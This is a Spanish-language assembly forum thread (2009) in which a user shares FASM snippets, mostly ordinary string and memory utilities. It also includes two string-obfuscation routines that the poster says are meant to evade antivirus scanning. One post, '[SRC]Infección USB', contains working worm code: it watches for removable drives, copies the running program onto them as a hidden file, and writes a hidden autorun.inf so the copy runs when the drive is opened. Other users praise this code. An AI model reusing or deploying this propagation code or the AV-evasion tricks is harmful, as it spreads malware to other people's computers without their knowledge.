  81. repnz scasb
  82. mov eax,ecx
  83. not eax
  84. dec eax
  85. pop edi ecx
  86. ret
  87. endp
  88. proc copy,cDestino,cCadena    ;funcion que copia una cadena
  89. push ecx edi esi
  90. stdcall Len,[cCadena]
  91. add eax,2
  92. mov ecx,eax
  93. mov esi,[cCadena]
  94. mov edi,[cDestino]
  95. rep movsb
  96. pop esi edi ecx
  97. ret
  98. endp
  99. .end start
  100.  
  101.  


Título: SRCs de YST.
Publicado por: YST en 16 Mayo 2009, 07:56 am
Hola , hice una función de "cifrado" mas que nada para hacer mas fuerte la encriptacion XOR , tambien se puede usar para modificar el nombre de las dll de un archivo , basicamente lo que hace es cambiar las minisculas por mayusculas y viceversa nom modificando ningun simbolo , es muy basica pero como lo dije la use para cifrar cadenas ( primero le paso mi encriptaccion y luego un xor normal ) , funciona para mejorar la cifrado ya que como sabran para nosotros la letra "A" es la misma que "a" pero para los antivirus son diferentes ya que su valor ascii es distinto , bueno se las dejo veran ustedes para que la usan.

Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4. xD db '[soy una cadena.]',0
  5. .code
  6. start:
  7. stdcall EncriptacionChangeCase,xD,0
  8. invoke MessageBox,0,xD,0,0
  9. invoke ExitProcess,0
  10. ;Función que transforma las miniscula a mayusculas y viceversa
  11. ; cCadena = Puntero de cadena a cifrar
  12. ; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
  13. ;  By YST
  14. proc EncriptacionChangeCase,cCadena,cTamaño
  15. push ebx
  16. xor ebx,ebx
  17. cmp [cTamaño],0
  18. je .contar
  19. mov ebx,[cTamaño]
  20. jmp .Start
  21. .contar:
  22. mov ebx,0
  23. mov eax,[cCadena]
  24. .len:
  25. inc ebx
  26. inc eax
  27. cmp byte[eax],0
  28. jne .len
  29. .Start:
  30. mov eax, [cCadena]
  31. dec eax
  32. inc ebx
  33. .bucle:
  34. dec ebx
  35. inc eax
  36. cmp ebx,0
  37. je .salir
  38. cmp byte[eax],'A'
  39. jb .bucle
  40. cmp byte[eax],91
  41. jge .revisar
  42. jmp .seguir
  43. jmp .bucle
  44. .seguir:
  45. cmp byte[eax],"Z"
  46. jbe .Mayuscula
  47. cmp byte[eax],"z"
  48. jbe .Miniscula
  49. jmp .bucle
  50. .salir :
  51. xor ebx,ebx
  52. mov ebx,0
  53. mov eax,[cCadena]
  54. pop ebx
  55. ret
  56. .revisar:
  57. cmp byte[eax],96
  58. jg .seguir
  59. jbe .bucle
  60. .Mayuscula:         ;Si es Mayuscula la pasamos a miniscula
  61. add byte[eax],0x20
  62. jmp .bucle
  63. .Miniscula:         ;Si es miniscula la pasamos a Mayuscula
  64. sub byte[eax],0x20
  65. jmp .bucle
  66. xor ebx,ebx
  67. mov ebx,0
  68. mov eax,[cCadena]
  69. endp
  70.  
  71. .end start


por cierto por si necesitan una función para cifrar con XOR


Código
  1. ;Función que cifra con un xor 10 cada byte de una cadena
  2. ; cCadena = Puntero de cadena a cifrar
  3. ; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
  4. ;  By YST
  5. proc EncriptacionXOR,cCadena,cTamaño
  6. push ebx
  7. xor ebx,ebx
  8. cmp [cTamaño],0
  9. je .contar
  10. mov ebx,[cTamaño]
  11. jmp .Start
  12. .contar:
  13. mov ebx,0
  14. mov eax,[cCadena]
  15. .len:
  16. inc ebx
  17. inc eax
  18. cmp byte[eax],0
  19. jne .len
  20. .Start:
  21. mov eax,[cCadena]
  22. inc ebx
  23. dec eax
  24. .bucle:
  25. dec ebx
  26. cmp ebx,0
  27. jbe .salir
  28. inc eax
  29. xor byte[eax],10
  30. jmp .bucle
  31. .salir:
  32. pop ebx
  33. ret
  34. endp


Título: [SRC]Funciones para trabajar cadenas unicode
Publicado por: YST en 16 Mayo 2009, 21:37 pm
Hola,

necesite hacer una pequeña función que pasar a unicode , a alguien mas le puede servir por eso la posteo

Código
  1. proc ASCIITOUNICODE,Cadena,Buffer
  2. push ecx ebx
  3. mov  eax,[Cadena]
  4. mov ebx,[Buffer]
  5. dec eax
  6. sub ebx,2
  7. .bucle:
  8. inc eax
  9. cmp byte[eax],0
  10. je .salir
  11. add ebx,2
  12. mov cl,byte[eax]
  13. mov byte[ebx],cl
  14. mov byte[ebx+1],0
  15. jmp .bucle
  16. .salir:
  17. pop ebx ecx
  18. ret
  19. endp



Funcion que cuenta el largo de una cadena en Unicode:



Código
  1. proc LenUnicode,cCadena
  2. mov ebx,[cCadena]
  3. mov eax,0
  4. .bucle:
  5. inc eax
  6. cmp byte[ebx+eax*2],0
  7. jne  .bucle
  8. pop ebx
  9. ret
  10. endp
  11.  
  12.  
Funcion para concatenar cadenas en unicode



Código
  1. proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
  2. push esi edi
  3.    mov edi,[cBuffer]
  4.    mov esi,[cCadena1]
  5.  
  6. .bucle1:
  7.    movsb
  8.    cmp word[esi],0
  9.    jne  .bucle1
  10.  
  11.       inc edi
  12.        mov esi,[cCadena2]
  13. .bucle2:
  14.    movsb
  15.    cmp word[esi],0
  16.    jne  .bucle2
  17.    pop edi esi
  18. ret
  19. endp
  20.  


Título: Re: [SRC]EncriptacionChangeCase
Publicado por: [Zero] en 16 Mayo 2009, 23:27 pm
Muy buena si señor  ;-). Tal vez podrías mejorarla haciendo que lo que decida mayúscula o minúscula sea un algoritmo pseudoaleatorio así el resultado será siempre diferente, yo lo hice en c  así (http://foro.elhacker.net/programacion_cc/src_changeimportcase-t255065.0.html).

Saludos  ;)


Título: Re: [SRC]EncriptacionChangeCase
Publicado por: YST en 17 Mayo 2009, 02:17 am
Para el uso que la use necesita ser reversible y de tu manera no lo es , podrias leer mejor el post.


Título: SRCs de YST.
Publicado por: YST en 19 Mayo 2009, 00:57 am
No se si a alguien le sirva pero igual la dejo

Código
  1. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  2. ; by YST
  3. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  4. push esi edi
  5. xchg edi,[cBuffer]
  6. xchg esi,[Cpuntero]
  7. .bucleb:
  8. dec [cCantidad]
  9. movsb
  10. cmp  [cCantidad],0
  11. jge .bucleb
  12. pop edi esi
  13. ret
  14. endp


Título: [SRC] Encriptacion YST
Publicado por: YST en 19 Mayo 2009, 02:58 am
Hola , hice un pequeño enredo para cifrar ,digo enredo por que de criptografia yo no tengo idea,lo dejo


Código
  1. proc YSTEncript,cCadena,cBuffer,cTamaño
  2. push eax ebx ecx  edx esi
  3. mov ebx,[cBuffer]
  4. mov esi,[cCadena]
  5. dec esi
  6. dec ebx
  7. .Eb:
  8. dec [cTamaño]
  9. inc esi
  10. inc ebx
  11. mov cl,byte[esi]
  12. add cl,3
  13. mov byte[ebx],cl
  14. not byte[ebx]
  15. xor byte[ebx],45
  16. mov edx,[cTamaño]
  17. xor byte[ebx],dl
  18. cmp [cTamaño],0
  19. jne .Eb
  20. pop  esi edx ecx ebx eax
  21. ret
  22. endp
  23.  
  24. proc YSTDesencript,cCadena,cBuffer,cTamaño
  25. push  eax ebx ecx  edx esi
  26. mov ebx,[cBuffer]
  27. mov esi,[cCadena]
  28. dec esi
  29. dec ebx
  30. .Eb:
  31. dec [cTamaño]
  32. inc esi
  33. inc ebx
  34. mov cl,byte[esi]
  35. mov byte[ebx],cl
  36. mov edx,[cTamaño]
  37. xor byte[ebx],dl
  38. not byte[ebx]
  39. xor byte[ebx],45
  40. sub byte[ebx],3
  41. cmp [cTamaño],0
  42. jne .Eb
  43. pop  esi edx ecx ebx eax
  44. ret
  45. endp


Título: Re: [SRC] Encriptacion YST
Publicado por: Amerikano|Cls en 19 Mayo 2009, 04:17 am
Muy bueno YST sigue así, luego lo analizaré que tal  ;)


Título: [SRC] cInstr
Publicado por: YST en 20 Mayo 2009, 02:31 am
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall cInstr,"98y4ct2y3Hola83925832c","Hola"
  5. .if eax = FALSE
  6. invoke MessageBox,0,"No esta.",0,0
  7. .else
  8. invoke MessageBox,0,eax,0,0
  9. .endif
  10. invoke ExitProcess,0
  11. ;////////////////////////////////////////////////////////////////////////////////////////////////////
  12. ;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
  13. ;//c1 = Cadena                                                                                   //
  14. ;//c2 = Cadena que se buscara en c1                                                             //
  15. ;// Retorna:                                                                                   //
  16. ;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
  17. ;// apuntandoa la posicion de c1 donde se encontro c2                                        //
  18. ;// by YST                                                                                  //
  19. ;////////////////////////////////////////////////////////////////////////////////////////////
  20. proc cInstr,c1,c2
  21. push edi esi ebx ecx  edx
  22. stdcall Len,[c2]
  23. mov edi,eax
  24. stdcall Len,[c1]
  25. mov esi,eax
  26. cmp edi,esi
  27. jg .Falso
  28. mov edx,[c1]
  29. mov ebx,[c2]
  30. dec edx
  31. inc esi
  32. .bucle:
  33. dec esi
  34. inc edx
  35. mov cl,byte[edx+edi]
  36. mov byte[edx+edi],0
  37. stdcall comparar,edx,[c2]
  38. mov byte[edx+edi],cl
  39. .if eax = 0
  40. mov eax,edx
  41. jmp .salir
  42. .endif
  43. cmp esi,0
  44. jne .bucle
  45. .Falso:
  46. mov eax,FALSE
  47. .salir:
  48. pop edx ecx ebx esi edi
  49. ret
  50. endp
  51. proc comparar ,SRC,DST ;Funcion que compara
  52. push edi ecx esi
  53. mov ecx,-1
  54. mov edi,[SRC]
  55. mov al,0
  56. repnz scasb
  57. mov eax,ecx
  58. not eax
  59. mov ecx,eax
  60. mov esi,[SRC]
  61. mov edi,[DST]
  62. repz cmpsb
  63. mov eax,1
  64. jnz Next
  65. dec eax
  66. Next:
  67. pop esi ecx edi
  68. ret
  69. endp
  70. proc Len,cCadena   ;Funcion que mide la cadena
  71. push ecx edi
  72. mov ecx,-1
  73. mov edi,[cCadena]
  74. mov al,0
  75. repnz scasb
  76. mov eax,ecx
  77. not eax
  78. dec eax
  79. pop edi ecx
  80. ret
  81. endp
  82. .end start


Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Karcrack en 20 Mayo 2009, 18:56 pm
Buen trabajo ;D!

Esto es lo que hace RtlMoveMemory según Olly... es muy parecido al tuyo ;D

Código
  1. 7C912C94 > 56               PUSH ESI
  2. 7C912C95   57               PUSH EDI
  3. 7C912C96   8B7424 10        MOV ESI,DWORD PTR SS:[ESP+10]
  4. 7C912C9A   8B7C24 0C        MOV EDI,DWORD PTR SS:[ESP+C]
  5. 7C912C9E   8B4C24 14        MOV ECX,DWORD PTR SS:[ESP+14]
  6. 7C912CA2   FC               CLD
  7. 7C912CA3   3BF7             CMP ESI,EDI
  8. 7C912CA5   76 1A            JBE SHORT ntdll.7C912CC1
  9. 7C912CA7   8BD1             MOV EDX,ECX
  10. 7C912CA9   83E2 03          AND EDX,3
  11. 7C912CAC   C1E9 02          SHR ECX,2
  12. 7C912CAF   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
  13. 7C912CB1   0BCA             OR ECX,EDX
  14. 7C912CB3   75 05            JNZ SHORT ntdll.7C912CBA
  15. 7C912CB5   5F               POP EDI
  16. 7C912CB6   5E               POP ESI
  17. 7C912CB7   C2 0C00          RETN 0C

Aunque no se que es CLD... tendré que investigar...


Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: YST en 20 Mayo 2009, 19:01 pm
Citar
Aunque no se que es CLD... tendré que investigar...
Borra la bandera de direccion si no mal recuerdo.


Título: [SRC]Infección USB
Publicado por: YST en 20 Mayo 2009, 19:07 pm
Esta en fasm para llamarlo se llama con
Código:
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código
  1.     Autorun db '[autoRun]',13,10,\
  2. 'action=Open Files On Folder',13,10,\
  3. 'shellexecute=',0
  4. Autorun2 db 13,10,\
  5. 'UseAutoPlay=1',0  
  6. BufferUnidades rb 31
  7.  

Código
  1. proc InfeccionUSB
  2. locals
  3. Miruta dd ?
  4. Minombre dd ?
  5. MiRutaInfeccionaria dd ?
  6. MiAutorun dd ?
  7. RutaAutorun dd ?
  8. handleCreado dd ?
  9. tamaño dd ?
  10. bEscritos dd ?
  11. endl
  12. pushad
  13.  
  14. invoke GlobalAlloc,GPTR,MAX_PATH
  15.  mov [Miruta],eax
  16. invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  17.  stdcall ConseguirNombre,[Miruta]
  18.  mov [Minombre],eax
  19.       .infinito:
  20.    invoke SleepEx,1000,FALSE
  21.       stdcall Zerar,BufferUnidades,30
  22. invoke GetLogicalDriveStringsA,30,BufferUnidades
  23.        mov ebx,BufferUnidades
  24.        .bucleDetectaExtraible:
  25. invoke GetDriveTypeA,ebx
  26.  
  27. .if eax = DRIVE_REMOVABLE
  28. .if word[ebx] = 'A:'
  29. .else
  30.      invoke GlobalAlloc,GPTR,MAX_PATH
  31. mov [MiRutaInfeccionaria],eax
  32.           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
  33.  
  34.     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
  35. invoke PathFileExistsA,[MiRutaInfeccionaria]
  36. .if eax = FALSE
  37.  
  38. invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
  39.                ;SetFileAttributes
  40.          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
  41.              invoke GlobalAlloc,GPTR,MAX_PATH
  42.              mov [MiAutorun] ,eax
  43.            invoke GlobalAlloc,GPTR,MAX_PATH
  44.            mov [RutaAutorun],eax
  45.              stdcall Concat,Autorun,[Minombre], [MiAutorun]
  46.                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
  47.                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
  48.  
  49.            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  50.                mov [handleCreado], eax
  51.            invoke lstrlenA,[MiAutorun]
  52.              mov [tamaño],eax
  53.      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
  54.  
  55.  
  56.            invoke CloseHandle, [handleCreado]
  57.               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
  58. invoke GlobalFree,[MiAutorun]
  59.  
  60. invoke GlobalFree,[RutaAutorun]
  61.                .endif
  62. invoke GlobalFree,[MiRutaInfeccionaria]
  63. .endif
  64. .endif
  65.  
  66. .if byte[ebx] = 0
  67.  
  68. invoke GlobalFree,[Miruta]
  69. invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
  70. invoke ExitThread,0
  71. .else
  72. add ebx,4
  73. jmp      .bucleDetectaExtraible
  74. .endif
  75. endp
Código
  1. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  2.    mov esi,[@AdrSrc1]
  3.    mov edi,[@AdrDest]
  4.  
  5. .concat_src1:
  6.    movsb
  7.    cmp byte[esi],0
  8.    jne .concat_src1
  9.  
  10.    mov esi,[@AdrSrc2]
  11.  
  12. .concat_src2:
  13.    movsb
  14.    cmp byte[esi],0
  15.    jne .concat_src2
  16.  
  17.    movsb
  18.  
  19.    ret
  20. endp
  21.  
  22. proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
  23. push ebx
  24. xor ebx,ebx
  25. mov ebx,[ruta]
  26. stdcall len,[ruta]
  27. add ebx,eax
  28. @@:
  29. dec ebx
  30. cmp byte[ebx],5Ch
  31. jne @b
  32. inc ebx
  33. mov eax,ebx
  34. pop ebx
  35. ret
  36. endp  
  37.  
  38. proc Zerar,Puntero,Cantidad
  39.  
  40.    push ecx
  41.    push ebx
  42.  
  43.              mov ecx,[Cantidad]
  44.                 mov ebx,[Puntero]
  45.                .bucle:
  46.  
  47.                mov byte[ebx+ecx],0
  48.                loop .bucle
  49.                mov byte[ebx],0
  50.                pop ebx
  51.                pop ecx
  52.                ret
  53. endp    
  54.  


Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Arkangel_0x7C5 en 20 Mayo 2009, 21:28 pm
bueno, ya que estamos con alternativas a apis, yo coloco el mio.

StrCmpW: Compara cadenas UNICODE, si son iguales devuelve error_sucess
Código
  1. StrCmpW proc str1,str2
  2.  
  3. push ebx
  4. push edx
  5.  
  6. mov ebx,str1
  7. mov edx,str2
  8.  
  9. comparando:
  10. movzx eax,word ptr[ebx]
  11. cmp ax,word ptr[edx]
  12. jne diferente
  13. add ebx,2
  14. add edx,2
  15. test ax,ax
  16. jz fin
  17. jmp comparando
  18. diferente:
  19. inc eax
  20. fin:
  21.  
  22. pop edx
  23. pop ebx
  24.  
  25. ret
  26.  
  27. StrCmpW endp
  28.  


Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: ny0x en 20 Mayo 2009, 21:34 pm
cld, movzx, rep movsb, word ptr ?  :o tengo mucho que aprender todavia, felicitaciones por los codes,  ;-)


Título: Re: [SRC]Infección USB
Publicado por: ny0x en 20 Mayo 2009, 21:56 pm
excelente yst infeccion usb,  ;D yo la habia hecho en C pero asm es otro rollo, nada mas que yo mejore mi nivel en asm empiezo a postear mis codes por aqui  ;)
saludos


Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Arkangel_0x7C5 en 20 Mayo 2009, 22:04 pm
como dijo jack el destripador, vamos por partes xD

rep repite una operacion hasta que cx o ecx sean 0.

movsb, movsw, movsd. Mueven el contenido de la direccion de memoria contenida en esi, a la direccion de memoria apuntada por edi y los aumentan o disminullen 1,2,4 respectivamente.

cld borra el falg que indica si se resta o aumenta edi y esi con un movsX
STD hace lo contrario de CLD. Si el flag esta en 1, se disminuiran y en cero se incrementaran.

movzx es como un mov, pero sirve para copiar 1,2,4 bytes en un registro de 32bits. Rellenando lo que falte con zeros.

Byte ptr, word ptr, dwrod ptr es la forma que se usa para decirle al Masm la cantidad de bytes que se quiere leer de memoria.

saludos


Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: ny0x en 20 Mayo 2009, 22:15 pm
Citar
como dijo jack el destripador, vamos por partes xD
XDDDDDDD
ok ya entendi (mas o menos) gracias por la info

P.D eres el arkangel que conozco? ¿gedzac?


Título: SRCs de YST.
Publicado por: YST en 21 Mayo 2009, 08:40 am
Debido a un problema que me surgio necesite hacer una función que obtenga la extension real de un archivo , se las dejo por si le sirve a alguien.


Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
  5. invoke MessageBox,0,eax,0,0
  6. invoke ExitProcess,0
  7. ;Descripcion: Esta función devuelve la extension de un archivo
  8. ; cRuta = Ruta del archivo
  9. ; by YST
  10. proc DetectaExtención,cRuta
  11. push ebx esi
  12. xchg eax,[cRuta]
  13. dec eax
  14. .bucle:
  15. inc eax
  16. cmp byte[eax],0
  17. jne .bucle
  18. inc eax
  19. .bucle2:
  20. dec eax
  21. cmp byte[eax],"."
  22. jne .bucle2
  23. xor esi,esi
  24. dec esi
  25. .bucle3:
  26. inc eax
  27. inc esi
  28. cmp byte[eax],0
  29. jne .bucle3
  30. push eax
  31. invoke GlobalAlloc,GPTR,esi
  32. xchg ebx,eax
  33. pop eax
  34. sub eax,esi
  35. stdcall cRtlMoveMemory,ebx,eax,esi
  36. xchg ebx,eax
  37. .salir:
  38. pop  esi ebx
  39. ret
  40. endp
  41. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  42. ; by YST
  43. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  44. push esi edi
  45. xchg edi,[cBuffer]
  46. xchg esi,[Cpuntero]
  47. .bucleb:
  48. dec [cCantidad]
  49. movsb
  50. cmp  [cCantidad],0
  51. jge .bucleb
  52. pop edi esi
  53. ret
  54. endp
  55. .end start


Título: [SRC]StrReverse
Publicado por: YST en 29 Mayo 2009, 09:22 am
Código
  1. include 'win32ax.inc'
  2. .data
  3. buffer rb 100
  4. .code
  5. start:
  6. stdcall StrReverse,kk,buffer
  7. invoke MessageBox,0,buffer,kk,0
  8. leave
  9. ret
  10. kk: db  "Estoy cifrado",0
  11. proc StrReverse,cCadena,cBuffer
  12. push ebx esi edi eax ecx
  13. mov ebx, [cCadena]
  14. mov esi,[cBuffer]
  15. stdcall Len,ebx
  16. mov ecx,eax
  17. mov al,byte[ebx]
  18. dec ecx
  19. mov edi,0
  20. .bucle:
  21. mov ah,byte[ebx+ecx]
  22. mov byte[esi+edi],ah
  23. inc edi
  24. dec ecx
  25. jecxz .salir
  26. jmp .bucle
  27. .salir:
  28. mov byte[esi+edi],al
  29. mov byte[esi+edi+1],0
  30. pop ecx eax edi esi ebx
  31. ret
  32. endp
  33. proc Len , SRC
  34. push ecx edi
  35. mov ecx,-1
  36. mov edi,[SRC]
  37. mov al,0
  38. repnz scasb
  39. mov eax,ecx
  40. not eax
  41. dec eax
  42. pop edi ecx
  43. ret
  44. endp
  45. .end start


Título: Re: SRCs de YST.
Publicado por: Eternal Idol en 29 Mayo 2009, 10:10 am
YST: por favor usa este hilo de ahora en adelante.

Gracias.


Título: Re: SRCs de YST.
Publicado por: Og. en 30 Mayo 2009, 06:33 am
borrado por que me canse del foro .

que lastima  :-\


Título: Re: SRCs de YST.
Publicado por: YST en 31 Mayo 2009, 04:39 am
borrado por que me canse del foro .

que lastima  :-\
Respuesto todo XD!


Título: Re: SRCs de YST.
Publicado por: Amerikano|Cls en 31 Mayo 2009, 07:15 am
Anda la osa, sigue con esto xD, tendre que leer cada code con detenimiento porque estan de p**a madre  :). Haber si un dia me animo y pongo mis src de java de todo lo que he trabajado  :rolleyes:

salu2


Título: Re: SRCs de YST.
Publicado por: Eternal Idol en 1 Junio 2009, 00:34 am
Sigue aca (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html).